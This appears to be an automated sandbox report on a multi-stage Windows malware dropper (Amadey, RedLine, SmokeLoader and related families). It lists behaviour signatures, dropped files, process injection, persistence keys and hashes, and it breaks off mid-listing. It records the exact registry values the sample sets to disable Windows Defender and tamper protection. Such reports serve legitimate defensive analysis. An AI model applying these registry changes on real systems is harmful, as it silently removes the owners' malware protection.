Malware Analysis Report

2025-01-23 09:51

Sample ID 231010-zwkqksda68
Target file.exe
SHA256 72dbe3e582cb916db745466ec12ee67ae7df040521443fc5b1c2903b6f4f3442
Tags
evasion persistence trojan amadey dcrat glupteba healer redline smokeloader 6012068394_99 lutyr magia up3 backdoor dropper infostealer loader rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

72dbe3e582cb916db745466ec12ee67ae7df040521443fc5b1c2903b6f4f3442

Threat Level: Known bad

The file file.exe was found to be: Known bad.

Malicious Activity Summary

evasion persistence trojan amadey dcrat glupteba healer redline smokeloader 6012068394_99 lutyr magia up3 backdoor dropper infostealer loader rat

Glupteba payload

RedLine

Glupteba

Modifies Windows Defender Real-time Protection settings

SmokeLoader

DcRat

Detects Healer an antivirus disabler dropper

Healer

RedLine payload

Amadey

Stops running service(s)

Downloads MZ/PE file

Blocklisted process makes network request

Modifies Windows Firewall

Checks computer location settings

Windows security modification

Loads dropped DLL

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Suspicious use of SetThreadContext

Launches sc.exe

Program crash

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious behavior: MapViewOfSection

Enumerates system info in registry

Checks SCSI registry key(s)

Suspicious use of SendNotifyMessage

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-10 21:04

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-10 21:04

Reported

2023-10-10 21:06

Platform

win7-20230831-en

Max time kernel

121s

Max time network

126s

Command Line

"C:\Users\Admin\AppData\Local\Temp\file.exe"

Signatures

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\file.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2632 set thread context of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2776 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 2776 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 2776 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 2776 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 2776 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 2776 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 2776 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 1364 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 1364 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 1364 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 1364 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 1364 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 1364 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 1364 wrote to memory of 2328 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 2328 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 2328 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 2328 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 2328 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 2328 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 2328 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 2328 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 1092 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1092 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1092 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1092 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1092 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1092 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1092 wrote to memory of 2228 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1092 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 1092 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 1092 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 1092 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 1092 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 1092 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 1092 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2708 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2632 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\SysWOW64\WerFault.exe
PID 2632 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\SysWOW64\WerFault.exe
PID 2632 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\SysWOW64\WerFault.exe
PID 2632 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\SysWOW64\WerFault.exe
PID 2632 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\SysWOW64\WerFault.exe
PID 2632 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\SysWOW64\WerFault.exe
PID 2632 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\SysWOW64\WerFault.exe
PID 2708 wrote to memory of 2464 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\SysWOW64\WerFault.exe
PID 2708 wrote to memory of 2464 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\SysWOW64\WerFault.exe
PID 2708 wrote to memory of 2464 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\SysWOW64\WerFault.exe
PID 2708 wrote to memory of 2464 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\SysWOW64\WerFault.exe
PID 2708 wrote to memory of 2464 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\SysWOW64\WerFault.exe
PID 2708 wrote to memory of 2464 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\SysWOW64\WerFault.exe
PID 2708 wrote to memory of 2464 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Users\Admin\AppData\Local\Temp\file.exe

"C:\Users\Admin\AppData\Local\Temp\file.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2632 -s 288

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2708 -s 268

Network

N/A

Files

\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

MD5 4117c50615525fc2524037b75bc6fde1
SHA1 dd6cd25ba498fb224381a2a28ac0bbf568db4d10
SHA256 8dd971bd1909856434eef7acda38a29d41e5d43a1f64c03680c683b7846fcb05
SHA512 011814d70a5f4d177a20e90dc833db3e4eb7ba1d8de034333c0678871be948c810840a77c1e9c704b2edf0fc5d2bb4b599b2f76d9c481c36acb733aa17bc9be1

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

MD5 4117c50615525fc2524037b75bc6fde1
SHA1 dd6cd25ba498fb224381a2a28ac0bbf568db4d10
SHA256 8dd971bd1909856434eef7acda38a29d41e5d43a1f64c03680c683b7846fcb05
SHA512 011814d70a5f4d177a20e90dc833db3e4eb7ba1d8de034333c0678871be948c810840a77c1e9c704b2edf0fc5d2bb4b599b2f76d9c481c36acb733aa17bc9be1

\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

MD5 4117c50615525fc2524037b75bc6fde1
SHA1 dd6cd25ba498fb224381a2a28ac0bbf568db4d10
SHA256 8dd971bd1909856434eef7acda38a29d41e5d43a1f64c03680c683b7846fcb05
SHA512 011814d70a5f4d177a20e90dc833db3e4eb7ba1d8de034333c0678871be948c810840a77c1e9c704b2edf0fc5d2bb4b599b2f76d9c481c36acb733aa17bc9be1

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

MD5 4117c50615525fc2524037b75bc6fde1
SHA1 dd6cd25ba498fb224381a2a28ac0bbf568db4d10
SHA256 8dd971bd1909856434eef7acda38a29d41e5d43a1f64c03680c683b7846fcb05
SHA512 011814d70a5f4d177a20e90dc833db3e4eb7ba1d8de034333c0678871be948c810840a77c1e9c704b2edf0fc5d2bb4b599b2f76d9c481c36acb733aa17bc9be1

\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

MD5 668f26a8f66525132ea5c19b1e81ada2
SHA1 aadbd64239d25968aacb1ad5b2f4401105d452dc
SHA256 9f0ecd275c1de758fbe4c2ba0f607b81216ffa8172513c7a7d9ea6a8d0728632
SHA512 ccedf392ff171cacbcec6be2623bbbec63d74e9da90a22a4be4ba7a120cc0d8b8296e09f0a9b4bd7d829a0615f2ca1650ff9d99bf4afde3c99cb75197cd85279

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

MD5 668f26a8f66525132ea5c19b1e81ada2
SHA1 aadbd64239d25968aacb1ad5b2f4401105d452dc
SHA256 9f0ecd275c1de758fbe4c2ba0f607b81216ffa8172513c7a7d9ea6a8d0728632
SHA512 ccedf392ff171cacbcec6be2623bbbec63d74e9da90a22a4be4ba7a120cc0d8b8296e09f0a9b4bd7d829a0615f2ca1650ff9d99bf4afde3c99cb75197cd85279

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

MD5 668f26a8f66525132ea5c19b1e81ada2
SHA1 aadbd64239d25968aacb1ad5b2f4401105d452dc
SHA256 9f0ecd275c1de758fbe4c2ba0f607b81216ffa8172513c7a7d9ea6a8d0728632
SHA512 ccedf392ff171cacbcec6be2623bbbec63d74e9da90a22a4be4ba7a120cc0d8b8296e09f0a9b4bd7d829a0615f2ca1650ff9d99bf4afde3c99cb75197cd85279

\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

MD5 668f26a8f66525132ea5c19b1e81ada2
SHA1 aadbd64239d25968aacb1ad5b2f4401105d452dc
SHA256 9f0ecd275c1de758fbe4c2ba0f607b81216ffa8172513c7a7d9ea6a8d0728632
SHA512 ccedf392ff171cacbcec6be2623bbbec63d74e9da90a22a4be4ba7a120cc0d8b8296e09f0a9b4bd7d829a0615f2ca1650ff9d99bf4afde3c99cb75197cd85279

\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

MD5 40207eb7d80b561e885778b764e21b2b
SHA1 4cd0a723b095a11ca3e330c5556ef74dee656ffa
SHA256 c1821a9f53d871a64ed58f53de1d9b839b1f3fc0680566d9f2c2aeb2efefb3ca
SHA512 dafd1f0e17a1a8acb9c4f1910359acbf25565d38fab598bd4ebb6ff0dbb75632b881e9e631035770454dcab578b5b75265e7639ac93e3e8fa345be9faae47a01

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

MD5 40207eb7d80b561e885778b764e21b2b
SHA1 4cd0a723b095a11ca3e330c5556ef74dee656ffa
SHA256 c1821a9f53d871a64ed58f53de1d9b839b1f3fc0680566d9f2c2aeb2efefb3ca
SHA512 dafd1f0e17a1a8acb9c4f1910359acbf25565d38fab598bd4ebb6ff0dbb75632b881e9e631035770454dcab578b5b75265e7639ac93e3e8fa345be9faae47a01

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

MD5 40207eb7d80b561e885778b764e21b2b
SHA1 4cd0a723b095a11ca3e330c5556ef74dee656ffa
SHA256 c1821a9f53d871a64ed58f53de1d9b839b1f3fc0680566d9f2c2aeb2efefb3ca
SHA512 dafd1f0e17a1a8acb9c4f1910359acbf25565d38fab598bd4ebb6ff0dbb75632b881e9e631035770454dcab578b5b75265e7639ac93e3e8fa345be9faae47a01

\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

MD5 40207eb7d80b561e885778b764e21b2b
SHA1 4cd0a723b095a11ca3e330c5556ef74dee656ffa
SHA256 c1821a9f53d871a64ed58f53de1d9b839b1f3fc0680566d9f2c2aeb2efefb3ca
SHA512 dafd1f0e17a1a8acb9c4f1910359acbf25565d38fab598bd4ebb6ff0dbb75632b881e9e631035770454dcab578b5b75265e7639ac93e3e8fa345be9faae47a01

\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

MD5 6241b03d68a610324ecda52f0f84e287
SHA1 da80280b6e3925e455925efd6c6e59a6118269c4
SHA256 ec74de9416b8ef2c3bdb1a9835e54548b3185524210d1aeffa91c98f74f751e2
SHA512 a60fe447cb0bed8e6cbd7c344b19a4602553209cbda7a40993f0fdf01e096bda4b79de0b528ecebf2efa0007f81d7bd6c7ef84252b2a160c93d642a78f0095f9

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

MD5 6241b03d68a610324ecda52f0f84e287
SHA1 da80280b6e3925e455925efd6c6e59a6118269c4
SHA256 ec74de9416b8ef2c3bdb1a9835e54548b3185524210d1aeffa91c98f74f751e2
SHA512 a60fe447cb0bed8e6cbd7c344b19a4602553209cbda7a40993f0fdf01e096bda4b79de0b528ecebf2efa0007f81d7bd6c7ef84252b2a160c93d642a78f0095f9

\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

MD5 6241b03d68a610324ecda52f0f84e287
SHA1 da80280b6e3925e455925efd6c6e59a6118269c4
SHA256 ec74de9416b8ef2c3bdb1a9835e54548b3185524210d1aeffa91c98f74f751e2
SHA512 a60fe447cb0bed8e6cbd7c344b19a4602553209cbda7a40993f0fdf01e096bda4b79de0b528ecebf2efa0007f81d7bd6c7ef84252b2a160c93d642a78f0095f9

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

MD5 6241b03d68a610324ecda52f0f84e287
SHA1 da80280b6e3925e455925efd6c6e59a6118269c4
SHA256 ec74de9416b8ef2c3bdb1a9835e54548b3185524210d1aeffa91c98f74f751e2
SHA512 a60fe447cb0bed8e6cbd7c344b19a4602553209cbda7a40993f0fdf01e096bda4b79de0b528ecebf2efa0007f81d7bd6c7ef84252b2a160c93d642a78f0095f9

memory/2228-40-0x0000000000540000-0x000000000055E000-memory.dmp

memory/2228-41-0x0000000001EF0000-0x0000000001F0C000-memory.dmp

memory/2228-42-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-43-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-45-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-51-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-59-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-67-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-69-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-65-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-63-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-61-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-57-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-55-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-53-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-49-0x0000000001EF0000-0x0000000001F06000-memory.dmp

memory/2228-47-0x0000000001EF0000-0x0000000001F06000-memory.dmp

\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
